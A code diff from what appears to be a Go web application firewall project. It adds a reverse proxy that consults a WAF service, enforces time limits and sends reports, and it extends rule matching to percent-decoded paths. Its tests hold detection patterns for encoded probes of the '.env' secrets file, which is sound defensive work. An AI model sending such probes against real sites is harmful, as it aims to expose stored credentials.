+// has SWRP_MAX_RESPONSE_TIME_MS from now to reach the visitor, even when the app
+// used that time up first.
+func (rq *request) prepareOwnAnswer(deadline time.Time) {
+	rq.stopReadingBody(deadline)
+	rq.endRequest()
+
+	limit := rq.h.config.MaxResponseTime
+	if limit > 0 {
+		_ = rq.rc.SetWriteDeadline(time.Now().Add(limit))
+	}
+}
+
+// refuse records status, unless an earlier refusal was, and ends the request to
+// the app, if one was made.
+func (rq *request) refuse(status int) {
+	rq.refused.CompareAndSwap(0, int64(status))
+
+	if rq.cancel != nil {
+		rq.cancel()
+	}
+}
+
+// finish ends the request's time limits, writes its log line and, if servewaf
+// answered the question, sends the report. ctx is the request's own context.
+func (rq *request) finish(ctx context.Context) {
+	rq.stopTimers()
+
+	if rq.refused.Load() == 0 {
+		rq.stopReadingBody(rq.requestDeadline())
+	}
+
+	requestEnd := rq.endRequest()
+	end := time.Now()
+	requestBytes, responseBytes := rq.bytesEachWay()
+
+	err := requestlog.WriteRProxyLine(rq.h.requestLog, &requestlog.RProxyLine{
+		Time:               requestlog.FormatTime(rq.start),
+		RequestID:          rq.id,
+		ClientIP:           rq.client.String(),
+		Host:               rq.in.Host,
+		Method:             rq.in.Method,
+		Path:               rules.Path(rq.in),
+		Query:              rq.in.URL.RawQuery,
+		Status:             rq.out.status,
+		RequestBytes:       requestBytes,
+		ResponseBytes:      responseBytes,
+		DurationRequest:    requestlog.Milliseconds(requestEnd.Sub(rq.start)),
+		DurationResponse:   requestlog.Milliseconds(end.Sub(requestEnd)),
+		Disposition:        rq.disposition,
+		DefaultDisposition: rq.byDefault,
+	})
+	if err != nil {
+		rq.h.processLog.Error("writing the request log failed", "error", err.Error())
+	}
+
+	if !rq.answered {
+		return
+	}
+
+	report := &servewaf.Report{
+		RequestID:     rq.id,
+		Status:        min(rq.out.status, reportStatusMax),
+		RequestBytes:  requestBytes,
+		ResponseBytes: responseBytes,
+		DurationTotal: requestlog.Milliseconds(end.Sub(rq.start)),
+	}
+	if !rq.upstreamStart.IsZero() {
+		report.DurationUpstreamTotal = requestlog.Milliseconds(end.Sub(rq.upstreamStart))
+	}
+
+	rq.h.sendReport(ctx, report)
+}
+
+// bytesEachWay returns the body bytes of the request and of the answer. For an
+// upgraded connection, such as a WebSocket, which has closed by then, what it
+// carried from the visitor counts with the request's and what it carried from the
+// app with the answer's.
+func (rq *request) bytesEachWay() (int64, int64) {
+	var requestBytes int64
+	if rq.body != nil {
+		requestBytes = rq.body.bytes.Load()
+	}
+
+	responseBytes := rq.out.bytes
+
+	if rq.upgraded != nil {
+		requestBytes += rq.upgraded.toApp.Load()
+		responseBytes += rq.upgraded.fromApp.Load()
+	}
+
+	return requestBytes, responseBytes
+}
+
+// requestDeadline is when the visitor must have sent its whole request, or zero
+// when SWRP_MAX_REQUEST_TIME_MS is off.
+func (rq *request) requestDeadline() time.Time {
+	limit := rq.h.config.MaxRequestTime
+	if limit == 0 {
+		return time.Time{}
+	}
+
+	return rq.start.Add(limit)
+}
+
+// stopReadingBody ends, at deadline, the reading of a visitor's body that has not
+// arrived whole: Go's server then reads no more of it, and closes the connection
+// after the answer.
+func (rq *request) stopReadingBody(deadline time.Time) {
+	if rq.body == nil || rq.body.received.Load() {
+		return
+	}
+
+	_ = rq.rc.SetReadDeadline(deadline)
+}
+
+// startRequestTimer starts SWRP_MAX_REQUEST_TIME_MS, which runs from the
+// request's headers being read until the app has been sent the whole request.
+func (rq *request) startRequestTimer() {
+	deadline := rq.requestDeadline()
+	if deadline.IsZero() {
+		return
+	}
+
+	rq.mu.Lock()
+	defer rq.mu.Unlock()
+
+	rq.requestTimer = time.AfterFunc(time.Until(deadline), rq.requestTimedOut)
+}
+
+// requestTimedOut is called when SWRP_MAX_REQUEST_TIME_MS runs out while the
+// request is still on its way to the app. The answer names the side rproxy was
+// waiting on at that moment: 408 when it was waiting for the visitor to send more
+// of its body, 504 when it was waiting for the app to be reached or to take what
+// it had.
+func (rq *request) requestTimedOut() {
+	rq.mu.Lock()
+	defer rq.mu.Unlock()
+
+	if rq.timersStopped {
+		return
+	}
+
+	if rq.body == nil || !rq.body.waiting.Load() {
+		// Once the app has answered, the transport, ReverseProxy and Go's server
+		// each close the visitor's body, and closing it reads what is left of a
+		// body under 256 KiB without requestBody.Read, so waiting is false while
+		// that read waits for the visitor. That read ends now, before refuse:
+		// should rproxy still answer itself, answer then sets the deadline it
+		// gives its own answers.
+		if !rq.answerStarted.IsZero() {
+			rq.stopReadingBody(time.Now())
+		}
+
+		rq.refuse(http.StatusGatewayTimeout)
+
+		return
+	}
+
+	rq.refuse(http.StatusRequestTimeout)
+	// The transport gives up on the app only once its Read of the visitor's body
+	// returns, so that Read is ended now. The lock keeps this from reaching the
+	// connection after the request is handled.
+	_ = rq.rc.SetReadDeadline(time.Now())
+}
+
+// gotFirstResponseByte is called once the first byte of the app's answer has
+// arrived.
+func (rq *request) gotFirstResponseByte() {
+	rq.mu.Lock()
+	defer rq.mu.Unlock()
+
+	rq.answerStarted = time.Now()
+}
+
+// wroteRequest is called once the app has been sent the whole request:
+// SWRP_MAX_REQUEST_TIME_MS ends and SWRP_MAX_RESPONSE_TIME_MS starts.
+func (rq *request) wroteRequest(info httptrace.WroteRequestInfo) {
+	if info.Err != nil {
+		return // the transport gives up, or tries again
+	}
+
+	requestEnd := rq.endRequest()
+
+	rq.mu.Lock()
+	defer rq.mu.Unlock()
+
+	if rq.timersStopped {
+		return
+	}
+
+	stopTimer(rq.requestTimer)
+
+	limit := rq.h.config.MaxResponseTime
+	if limit > 0 {
+		rq.responseTimer = time.AfterFunc(time.Until(requestEnd.Add(limit)),
+			rq.responseTimedOut)
+	}
+}
+
+// responseTimedOut is called when SWRP_MAX_RESPONSE_TIME_MS runs out before the
+// app has sent its whole answer.
+func (rq *request) responseTimedOut() {
+	rq.mu.Lock()
+	defer rq.mu.Unlock()
+
+	if !rq.timersStopped {
+		rq.refuse(http.StatusGatewayTimeout)
+	}
+}
+
+// responseReceived is called once the app has sent its whole answer. An app may
+// answer before the visitor has sent its whole body, as with a 404 it sends
+// without reading it. The time limits then run on: until the transport's read of
+// the body returns, Go's server cannot send the answer, and
+// SWRP_MAX_REQUEST_TIME_MS is what ends that read for a visitor that stops
+// sending.
+func (rq *request) responseReceived() {
+	if rq.body != nil && !rq.body.received.Load() {
+		return
+	}
+
+	rq.stopTimers()
+}
+
+// setResponseDeadline sets SWRP_MAX_RESPONSE_TIME_MS on the connection to the
+// visitor: the app's answer must reach the visitor within it of the end of the
+// request.
+func (rq *request) setResponseDeadline() {
+	requestEnd := rq.endRequest()
+
+	limit := rq.h.config.MaxResponseTime
+	if limit > 0 {
+		_ = rq.rc.SetWriteDeadline(requestEnd.Add(limit))
+	}
+}
+
+// endRequest notes now as the end of the request, unless an end is noted, and
+// returns the end noted.
+func (rq *request) endRequest() time.Time {
+	rq.mu.Lock()
+	defer rq.mu.Unlock()
+
+	if rq.requestEnd.IsZero() {
+		rq.requestEnd = time.Now()
+	}
+
+	return rq.requestEnd
+}
+
+// stopTimers stops the request's time limits and keeps any from starting later:
+// the app's answer is complete, the connection upgraded, or the request handled.
+func (rq *request) stopTimers() {
+	rq.mu.Lock()
+	defer rq.mu.Unlock()
+
+	rq.timersStopped = true
+	stopTimer(rq.requestTimer)
+	stopTimer(rq.responseTimer)
+}
+
+// stopTimer stops t, which is nil when its time limit is off.
+func stopTimer(t *time.Timer) {
+	if t != nil {
+		t.Stop()
+	}
+}

internal/rproxy/rproxy.go

@@ -0,0 +1,228 @@
+// Package rproxy is the reverse proxy in front of one app that asks servewaf
+// about each request. It passes a request servewaf allows to the app and the
+// app's answer back, within the size and time limits. Any other answer from
+// servewaf goes to the visitor as servewaf gave it. SWRP_DEFAULT_DISPOSITION
+// decides only when servewaf cannot be connected to, does not answer at all, or
+// does not answer within SWRP_TIMEOUT_MS. rproxy itself refuses a request with a
+// method it does not pass on, or one it cannot put to servewaf as the visitor
+// sent it. It keeps nothing between requests and never touches disk. "rproxy" in
+// SPEC.md says what it does.
+package rproxy
+
+import (
+	"context"
+	"io"
+	"log"
+	"log/slog"
+	"net/http"
+	"net/url"
+	"slices"
+	"strings"
+	"sync"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/config"
+	"sneak.berlin/go/smallwebwaf/internal/servewaf"
+)
+
+// How rproxy keeps connections to the app and to servewaf open between
+// requests.
+const (
+	idleConns       = 100
+	idleConnTimeout = 90 * time.Second
+)
+
+// The limits on a connection from a visitor that have no setting.
+const (
+	// requestHeaderMaxBytes is the largest request line and headers a visitor
+	// may send.
+	requestHeaderMaxBytes = 32 << 10
+	// goServerExtraHeaderBytes is how far past MaxHeaderBytes Go's server reads
+	// before it refuses.
+	goServerExtraHeaderBytes = 4 << 10
+	// idleTimeout is how long a kept-open connection may wait for its next
+	// request.
+	idleTimeout = 120 * time.Second
+)
+
+// adminPrefix starts the path of every request for smallwebwaf itself, which
+// never reaches the app.
+const adminPrefix = "/_smallwebwaf/"
+
+// allowedMethods lists the methods rproxy passes on, as an Allow header gives
+// them. It answers any other method 405 itself.
+const allowedMethods = "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY"
+
+// Params are what New needs.
+type Params struct {
+	Config *config.RProxy
+	// RequestLog receives one short JSON line per request.
+	RequestLog io.Writer
+	// ProcessLog receives the process's own messages.
+	ProcessLog *slog.Logger
+}
+
+// Server is the server `smallwebwaf rproxy` runs.
+type Server struct {
+	*http.Server
+
+	h *handler
+}
+
+// New returns the server `smallwebwaf rproxy` runs. Go's server itself refuses
+// a request line and headers over requestHeaderMaxBytes, with 431, closes a
+// connection idle for idleTimeout, and applies SWRP_MAX_REQUEST_TIME_MS while
+// the headers arrive. The handler applies the time and size limits from then
+// on.
+func New(params Params) *Server {
+	backend := params.Config.WAFBackend
+	errorLog := slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn)
+	h := &handler{
+		config:            params.Config,
+		requestLog:        params.RequestLog,
+		processLog:        params.ProcessLog,
+		errorLog:          errorLog,
+		transport:         newTransport(),
+		serveWAFTransport: newServeWAFTransport(),
+		reportURL: (&url.URL{
+			Scheme: backend.Scheme, Host: backend.Host, Path: servewaf.ReportPath,
+		}).String(),
+	}
+
+	return &Server{
+		Server: &http.Server{
+			Addr:              params.Config.ListenAddr,
+			Handler:           h,
+			ErrorLog:          errorLog,
+			ReadHeaderTimeout: params.Config.MaxRequestTime,
+			IdleTimeout:       idleTimeout,
+			MaxHeaderBytes:    requestHeaderMaxBytes - goServerExtraHeaderBytes,
+		},
+		h: h,
+	}
+}
+
+// WaitForReports returns once the reports being sent have gone or failed,
+// which SWRP_TIMEOUT_MS bounds. Any report after this call is dropped: that of
+// a WebSocket that closes while rproxy stops, for one.
+func (s *Server) WaitForReports() {
+	s.h.reportsMu.Lock()
+	s.h.reportsStopped = true
+	s.h.reportsMu.Unlock()
+
+	s.h.reports.Wait()
+}
+
+// handler is the proxy. It holds what every request shares; what belongs to
+// one request is in a request.
+type handler struct {
+	config     *config.RProxy
+	requestLog io.Writer
+	processLog *slog.Logger
+	errorLog   *log.Logger
+	// transport carries requests to the app, and serveWAFTransport questions and
+	// reports to servewaf.
+	transport         http.RoundTripper
+	serveWAFTransport http.RoundTripper
+	// reportURL is where the reports go.
+	reportURL string
+	// reports waits for the reports being sent. reportsMu guards starting one
+	// against reportsStopped, which is set once nothing is to wait for another.
+	reports        sync.WaitGroup
+	reportsMu      sync.Mutex
+	reportsStopped bool
+}
+
+// newTransport returns what carries requests to the app. It never goes through
+// a proxy named in the environment, and leaves answers compressed or not as they
+// were sent.
+func newTransport() *http.Transport {
+	return &http.Transport{
+		MaxIdleConns:        idleConns,
+		MaxIdleConnsPerHost: idleConns,
+		IdleConnTimeout:     idleConnTimeout,
+		DisableCompression:  true,
+	}
+}
+
+// newServeWAFTransport returns what carries questions and reports to servewaf.
+// It speaks HTTP/1.1 only. Go's HTTP/2 client refuses to send a visitor's Upgrade
+// header, or a Connection header other than close or keep-alive, and that would
+// read as servewaf giving no answer.
+func newServeWAFTransport() *http.Transport {
+	transport := newTransport()
+	transport.Protocols = new(http.Protocols)
+	transport.Protocols.SetHTTP1(true)
+
+	return transport
+}
+
+// ServeHTTP handles one request: it answers the health check itself, refuses a
+// request with a method it does not pass on or one it cannot put to servewaf as
+// the visitor sent it, and for any other request reads the first part of the
+// body, asks servewaf, and does what the answer says. Once the answer has ended,
+// it writes the request's log line and sends its report.
+func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
+	rq := h.newRequest(w, r)
+	defer rq.finish(r.Context())
+
+	if r.Method == http.MethodGet && r.URL.Path == servewaf.HealthPath {
+		rq.answerHealth()
+
+		return
+	}
+
+	if !slices.Contains(strings.Split(allowedMethods, ", "), r.Method) {
+		rq.out.Header().Set("Allow", allowedMethods)
+		rq.answer(http.StatusMethodNotAllowed)
+
+		return
+	}
+
+	if !canBeAsked(r) {
+		rq.answer(http.StatusBadRequest)
+
+		return
+	}
+
+	if !rq.readFirstPartOfBody() {
+		return
+	}
+
+	answer, err := rq.ask(r.Context())
+	if err != nil {
+		rq.handleNoUsableAnswer(r.Context(), err)
+
+		return
+	}
+
+	rq.noteAnswer(answer)
+
+	switch rq.disposition {
+	case servewaf.DispositionAllow:
+		rq.passToApp(r.Context())
+	case servewaf.DispositionClose:
+		// This panic has Go's server close the connection without an answer,
+		// and log nothing; the deferred finish still runs.
+		panic(http.ErrAbortHandler)
+	default: // a deny, an error, or an answer without a valid disposition
+		rq.answerWith(answer)
+	}
+}
+
+// passToApp passes the request on to the app, unless a limit or its path keeps
+// it from the app. servewaf answers a path under adminPrefix itself, so such a
+// request gets here only when SWRP_DEFAULT_DISPOSITION allowed it. ctx is the
+// request's own context.
+func (rq *request) passToApp(ctx context.Context) {
+	maxBytes := rq.h.config.MaxRequestSize
+
+	switch {
+	case rq.refused.Load() != 0 || (maxBytes > 0 && rq.in.ContentLength > maxBytes):
+		rq.answer(http.StatusRequestEntityTooLarge)
+	case strings.HasPrefix(rq.in.URL.Path, adminPrefix):
+		rq.answer(http.StatusNotFound)
+	default:
+		rq.forward(ctx)
+	}
+}

internal/rproxy/servewaf.go

@@ -0,0 +1,266 @@
+package rproxy
+
+import (
+	"bytes"
+	"context"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"io"
+	"maps"
+	"net/http"
+	"strings"
+
+	"sneak.berlin/go/smallwebwaf/internal/servewaf"
+)
+
+// answerBodyMaxBytes is the most of the body of servewaf's answer that is read.
+// It is far above any answer's.
+const answerBodyMaxBytes = 1 << 20
+
+// reportAnswerMaxBytes is the most of the answer to a report that is read,
+// which has no body when servewaf takes the report.
+const reportAnswerMaxBytes = 4 << 10
+
+var (
+	errCannotPassOn  = errors.New("the answer cannot be passed to the visitor")
+	errReportRefused = errors.New("the report was answered")
+)
+
+// servewafAnswer is what servewaf answered to a question.
+type servewafAnswer struct {
+	status int
+	header http.Header
+	body   []byte
+}
+
+// noteAnswer notes what servewaf answered. An answer without a valid disposition
+// notes nothing, and no report is due for it: servewaf holds no decision to report
+// on.
+func (rq *request) noteAnswer(answer *servewafAnswer) {
+	disposition := answer.header.Get(servewaf.DispositionHeader)
+
+	switch disposition {
+	case servewaf.DispositionAllow, servewaf.DispositionDeny, servewaf.DispositionClose:
+		rq.disposition = disposition
+		rq.answered = true
+		rq.asn = answer.header.Get(asnHeader)
+		rq.country = answer.header.Get(countryHeader)
+	}
+}
+
+// handleNoUsableAnswer deals with a request whose question ended in err, which
+// leaves no answer to act on. ctx is the request's own context.
+func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) {
+	switch {
+	case ctx.Err() != nil:
+		// The visitor went away while servewaf was being asked. servewaf has not
+		// failed, and nothing is noted. This panic has Go's server close the
+		// connection without an answer, and log nothing; the deferred finish still
+		// runs.
+		panic(http.ErrAbortHandler)
+	case errors.Is(err, errCannotPassOn):
+		rq.h.processLog.Warn("servewaf's answer is dropped", "error", err.Error())
+		rq.answer(http.StatusBadGateway)
+	default:
+		// servewaf cannot be connected to, does not answer at all, or does not answer
+		// within SWRP_TIMEOUT_MS. A request that keeps servewaf busy past
+		// SWRP_TIMEOUT_MS, like any request while servewaf is overloaded, gets
+		// SWRP_DEFAULT_DISPOSITION here. deny closes this, at the cost of answering 503
+		// whenever servewaf is slow. Making such requests hard to send is
+		// https://git.eeqj.de/sneak/smallwebwaf/issues/182.
+		rq.h.processLog.Warn("servewaf gave no answer", "error", err.Error())
+
+		rq.disposition = rq.h.config.DefaultDisposition
+		rq.byDefault = true
+
+		if rq.disposition == servewaf.DispositionAllow {
+			rq.passToApp(ctx)
+		} else {
+			rq.answer(http.StatusServiceUnavailable)
+		}
+	}
+}
+
+// ask sends servewaf the question, and returns its answer, which must have come
+// whole within SWRP_TIMEOUT_MS. It ends when ctx does, as when the visitor goes
+// away.
+func (rq *request) ask(ctx context.Context) (*servewafAnswer, error) {
+	ctx, cancel := context.WithTimeout(ctx, rq.h.config.Timeout)
+	defer cancel()
+
+	question, err := rq.newQuestion(ctx)
+	if err != nil {
+		return nil, err
+	}
+
+	res, err := rq.h.serveWAFTransport.RoundTrip(question)
+	if err != nil {
+		return nil, fmt.Errorf("send the question: %w", err)
+	}
+
+	defer func() {
+		_ = res.Body.Close()
+	}()
+
+	// The body of a 101 is the connection itself, and the time limit does not end
+	// a read of that. Go's client also takes a status below 100, which Go's server
+	// panics when asked to send.
+	if res.StatusCode < http.StatusOK {
+		return nil, fmt.Errorf("%w: its status is %d", errCannotPassOn, res.StatusCode)
+	}
+
+	body, err := io.ReadAll(io.LimitReader(res.Body, answerBodyMaxBytes+1))
+	if err != nil {
+		return nil, fmt.Errorf("read the answer: %w", err)
+	}
+
+	if len(body) > answerBodyMaxBytes {
+		return nil, fmt.Errorf("%w: its body is over 1 MiB", errCannotPassOn)
+	}
+
+	return &servewafAnswer{res.StatusCode, res.Header, body}, nil
+}
+
+// canBeAsked reports whether Go's client can send servewaf r as the visitor sent
+// it. It cannot send these as they came:
+//   - a target that does not start with /, or that starts with //;
+//   - an empty Host, for which it sends servewaf's own address;
+//   - a Host holding an IPv6 zone, which it removes;
+//   - more than one User-Agent, of which it sends the first;
+//   - an empty User-Agent, which it leaves out, the one case that still goes to
+//     servewaf.
+func canBeAsked(r *http.Request) bool {
+	target, host := r.RequestURI, r.Host
+	hostHasZone := strings.HasPrefix(host, "[") && strings.Contains(host, "%")
+
+	return strings.HasPrefix(target, "/") && !strings.HasPrefix(target, "//") &&
+		host != "" && !hostHasZone && len(r.Header.Values("User-Agent")) <= 1
+}
+
+// newQuestion returns the question about the request, as "The question" in
+// SPEC.md gives it: the visitor's request as the visitor sent it, with the part
+// of the body it holds and rproxy's headers.
+func (rq *request) newQuestion(ctx context.Context) (*http.Request, error) {
+	in := rq.in
+
+	var held []byte
+	if rq.body != nil {
+		held = rq.body.held
+	}
+
+	question, err := http.NewRequestWithContext( //nolint:gosec // a setting's URL
+		ctx, in.Method, rq.h.config.WAFBackend.String(), bytes.NewReader(held))
+	if err != nil {
+		return nil, fmt.Errorf("make the question: %w", err)
+	}
+
+	backend := question.URL
+	target := *in.URL
+	target.Scheme = backend.Scheme
+	target.Host = backend.Host
+	setPathAsSent(&target, in)
+	question.URL = &target
+	question.Host = in.Host
+
+	// The length NewRequestWithContext set is that of what is held. This line makes
+	// a body whose length the visitor did not announce go chunked, as "The question"
+	// in SPEC.md requires.
+	question.TransferEncoding = in.TransferEncoding
+
+	question.Header = in.Header.Clone()
+	question.Header.Set(servewaf.ClientHeader, rq.client.String())
+	question.Header.Set(servewaf.PeerHeader, rq.peer.String())
+	question.Header.Del(servewaf.ContentLengthHeader)
+
+	announced := in.Header.Get("Content-Length")
+	if announced != "" {
+		question.Header.Set(servewaf.ContentLengthHeader, announced)
+	}
+
+	question.Header.Set(requestIDHeader, rq.id)
+	question.Header.Set("X-Forwarded-Proto", scheme(in, rq.peerTrusted))
+
+	// Go's client adds a User-Agent of its own to a request without the key.
+	_, sent := question.Header["User-Agent"]
+	if !sent {
+		question.Header["User-Agent"] = nil
+	}
+
+	return question, nil
+}
+
+// answerWith gives the visitor servewaf's answer, less its disposition.
+func (rq *request) answerWith(answer *servewafAnswer) {
+	rq.prepareOwnAnswer(rq.requestDeadline())
+
+	header := rq.out.Header()
+	maps.Copy(header, answer.header)
+	header.Del(servewaf.DispositionHeader)
+
+	// Go's server adds a Content-Type it guesses from the body to a response whose
+	// headers have no Content-Type key. The key with no value sends none.
+	if header.Get("Content-Type") == "" {
+		header["Content-Type"] = nil
+	}
+
+	rq.send(answer.status, answer.body)
+}
+
+// sendReport sends servewaf report on a goroutine of its own, so that the
+// visitor does not wait for it. The report goes on after ctx, the request's own
+// context, has ended.
+func (h *handler) sendReport(ctx context.Context, report *servewaf.Report) {
+	h.reportsMu.Lock()
+	defer h.reportsMu.Unlock()
+
+	if h.reportsStopped {
+		return
+	}
+
+	h.reports.Go(func() {
+		err := h.postReport(context.WithoutCancel(ctx), report)
+		if err != nil {
+			h.processLog.Warn("a report is dropped", "error", err.Error())
+		}
+	})
+}
+
+// postReport posts report to servewaf, and waits for its answer for up to
+// SWRP_TIMEOUT_MS.
+func (h *handler) postReport(ctx context.Context, report *servewaf.Report) error {
+	body, err := json.Marshal(report)
+	if err != nil {
+		return fmt.Errorf("encode the report: %w", err)
+	}
+
+	ctx, cancel := context.WithTimeout(ctx, h.config.Timeout)
+	defer cancel()
+
+	req, err := http.NewRequestWithContext( //nolint:gosec // a setting's URL
+		ctx, http.MethodPost, h.reportURL, bytes.NewReader(body))
+	if err != nil {
+		return fmt.Errorf("make the request: %w", err)
+	}
+
+	req.Header.Set("Content-Type", "application/json")
+
+	res, err := h.serveWAFTransport.RoundTrip(req)
+	if err != nil {
+		return fmt.Errorf("send the report: %w", err)
+	}
+
+	// The body of a 101 is the connection itself, and the time limit does not end
+	// a read of that.
+	if res.StatusCode >= http.StatusOK {
+		_, _ = io.Copy(io.Discard, io.LimitReader(res.Body, reportAnswerMaxBytes))
+	}
+
+	_ = res.Body.Close()
+
+	if res.StatusCode != http.StatusNoContent {
+		return fmt.Errorf("%w %s", errReportRefused, res.Status)
+	}
+
+	return nil
+}

internal/rules/rules.go

@@ -22,6 +22,7 @@ import (
 
 	"github.com/fsnotify/fsnotify"
 
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/config"
 )
 
@@ -49,6 +50,13 @@ const quietTime = 2 * time.Second
 // header:<Name>.
 const headerTarget = "header:"
 
+// pathTarget and uriTarget are the targets matched both as received and
+// once percent-decoded: the path, and the path and query together.
+const (
+	pathTarget = "path"
+	uriTarget  = "uri"
+)
+
 // escapeLength is the length of a percent escape, such as %2e.
 const escapeLength = 3
 
@@ -100,6 +108,8 @@ type Params struct {
 	// ProcessLog receives how many rules were read, and the error in a
 	// rule file edited while smallwebwaf runs.
 	ProcessLog *slog.Logger
+	// Alerts receive a file_error alert for that error.
+	Alerts *alerts.Queue
 }
 
 // Files are the rule files of a running smallwebwaf, and the rules read
@@ -126,7 +136,7 @@ func Load(params Params) (*Files, error) {
 		return f, nil
 	}
 
-	rules, err := read(params.Dir)
+	rules, _, err := read(params.Dir)
 	if err != nil {
 		return nil, err
 	}
@@ -223,13 +233,21 @@ func (f *Files) readAfterChanges(
 }
 
 // readAgain reads the rule files again, in place of the rules loaded, or
-// logs the error that keeps the rules as they were.
+// logs the error that keeps the rules as they were, and raises a
+// file_error alert for it, for the file it is in.
 func (f *Files) readAgain() {
-	rules, err := read(f.params.Dir)
+	rules, path, err := read(f.params.Dir)
 	if err != nil {
-		f.params.ProcessLog.Error(
-			"a rule file has an error, and the rules stay as they were",
-			"error", err.Error())
+		const kept = "a rule file has an error, and the rules stay as they were"
+
+		// Raised before it is logged, so that the alert is there once the
+		// log line is.
+		f.params.Alerts.Raise(alerts.Alert{
+			Event:  alerts.EventFileError,
+			Reason: kept,
+			Detail: map[string]any{"file": path, "error": err.Error()},
+		})
+		f.params.ProcessLog.Error(kept, "error", err.Error())
 
 		return
 	}
@@ -246,13 +264,14 @@ func (f *Files) logRead(count int) {
 }
 
 // read returns the rules of every rule file in dir, in the order of the
-// files' names, and then of their lines. A file whose name starts with a
-// dot, such as an editor's lock file .#50-app.rules, is not a rule file,
-// as a shell's *.rules would not match it.
-func read(dir string) ([]Rule, error) {
+// files' names, and then of their lines, or an error, with the path of the
+// rule file it is in, or dir. A file whose name starts with a dot, such as
+// an editor's lock file .#50-app.rules, is not a rule file, as a shell's
+// *.rules would not match it.
+func read(dir string) ([]Rule, string, error) {
 	entries, err := os.ReadDir(dir)
 	if err != nil {
-		return nil, fmt.Errorf("SWWAF_RULES_DIR cannot be read: %w", err)
+		return nil, dir, fmt.Errorf("SWWAF_RULES_DIR cannot be read: %w", err)
 	}
 
 	var rules []Rule
@@ -266,13 +285,15 @@ func read(dir string) ([]Rule, error) {
 			continue
 		}
 
-		rules, err = readFile(filepath.Join(dir, name), rules, places)
+		path := filepath.Join(dir, name)
+
+		rules, err = readFile(path, rules, places)
 		if err != nil {
-			return nil, err
+			return nil, path, err
 		}
 	}
 
-	return rules, nil
+	return rules, "", nil
 }
 
 // readFile appends the rules of the rule file at path to rules. places
@@ -360,7 +381,7 @@ func parse(line string) (Rule, bool, error) {
 // isTarget reports whether target is one a rule may have.
 func isTarget(target string) bool {
 	switch target {
-	case "path", "query", "uri", "method", "host", "user_agent", "referer":
+	case pathTarget, "query", uriTarget, "method", "host", "user_agent", "referer":
 		return true
 	}
 
@@ -370,28 +391,38 @@ func isTarget(target string) bool {
 }
 
 // matches reports whether the rule's regex matches its target in r. For
-// uri it is matched against the path and query as received, and against
-// them once percent-decoded, so that an encoded probe cannot slip past.
+// path and uri it is matched against the target as received, and against
+// it once percent-decoded, so that an encoded probe cannot slip past.
 func (rule Rule) matches(r *http.Request) bool {
-	if rule.Target == "uri" {
-		uri := pathAndQuery(r)
+	target := value(rule.Target, r)
 
-		return rule.regex.MatchString(uri) || rule.regex.MatchString(decodeOnce(uri))
+	if rule.Target == pathTarget || rule.Target == uriTarget {
+		return rule.regex.MatchString(target) || rule.regex.MatchString(DecodeOnce(target))
 	}
 
-	return rule.regex.MatchString(value(rule.Target, r))
+	return rule.regex.MatchString(target)
 }
 
-// value returns what a rule with target, other than uri, is matched
-// against in r: the path and the query as the client sent them, before
-// any decoding or re-encoding, split at the first ?, and a header's values
-// joined by ", ", as HTTP joins those of a header sent more than once.
-func value(target string, r *http.Request) string {
-	switch target {
-	case "path":
+// Path returns r's path as the client sent it, before any decoding or
+// re-encoding, up to the first ?: what a path rule is matched against, as
+// it is and once percent-decoded.
+func Path(r *http.Request) string {
 	path, _, _ := strings.Cut(pathAndQuery(r), "?")
 
 	return path
+}
+
+// value returns what a rule with target is matched against in r: the
+// path, as Path gives it, the path and query, as pathAndQuery gives
+// them, and the query as the client sent it, before any decoding or
+// re-encoding, after the first ?, and a header's values joined by ", ",
+// as HTTP joins those of a header sent more than once.
+func value(target string, r *http.Request) string {
+	switch target {
+	case pathTarget:
+		return Path(r)
+	case uriTarget:
+		return pathAndQuery(r)
 	case "query":
 		_, query, _ := strings.Cut(pathAndQuery(r), "?")
 
@@ -443,11 +474,11 @@ func header(r *http.Request, name string) string {
 	return strings.Join(r.Header.Values(name), ", ")
 }
 
-// decodeOnce returns s with each percent escape, such as %2e, replaced by
+// DecodeOnce returns s with each percent escape, such as %2e, replaced by
 // the byte it stands for. A % that is not followed by two hex digits is
 // left as it is, so that a malformed escape cannot keep the rest of s
 // from being decoded.
-func decodeOnce(s string) string {
+func DecodeOnce(s string) string {
 	var decoded strings.Builder
 
 	for i := 0; i < len(s); i++ {

internal/rules/rules_test.go

@@ -7,12 +7,15 @@ import (
 	"maps"
 	"net/http"
 	"net/http/httptest"
+	"net/url"
 	"os"
 	"path/filepath"
 	"slices"
 	"strconv"
 	"testing"
+	"time"
 
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/rules"
 )
 
@@ -46,7 +49,9 @@ func TestEachTargetMatchesWhatItNames(t *testing.T) {
 		want   bool
 	}{
 		{"path as received", `path log ^/%2eenv$`, "/%2eenv", nil, true},
-		{"path not decoded", `path log ^/\.env$`, "/%2eenv", nil, false},
+		{"path decoded", `path log ^/\.env$`, "/%2Eenv", nil, true},
+		{"path decoded only once", `path log ^/\.env$`, "/%252eenv", nil, false},
+		{"path decoded without the query", `path log ^/a\?b$`, "/a%3fb?c", nil, true},
 		{"path without the query", `path log ^/a$`, "/a?b=c", nil, true},
 		{"query as received", `query log ^b=%2e$`, "/a?b=%2e", nil, true},
 		{"uri as received", `uri log ^/a\?b=%2e$`, "/a?b=%2e", nil, true},
@@ -337,7 +342,7 @@ func TestEditsTakenInWhileRunning(t *testing.T) {
 	t.Parallel()
 
 	dir := writeFiles(t, ruleFiles{firstFile: "first path block ^/first\n"})
-	files, lines := watch(t, dir)
+	files, lines, _ := watch(t, dir)
 
 	// matches reports whether path matches a rule.
 	matches := func(path string) bool { return len(files.Match(get(t, path))) == 1 }
@@ -366,7 +371,7 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) {
 	t.Parallel()
 
 	dir := writeFiles(t, ruleFiles{firstFile: "first path block ^/first\n"})
-	files, lines := watch(t, dir)
+	files, lines, queue := watch(t, dir)
 
 	// The edit's second line has an unknown action, so the rules stay as
 	// they were, the first line's earlier version included.
@@ -380,13 +385,27 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) {
 		t.Errorf("logged %v, want an error %q", line, want)
 	}
 
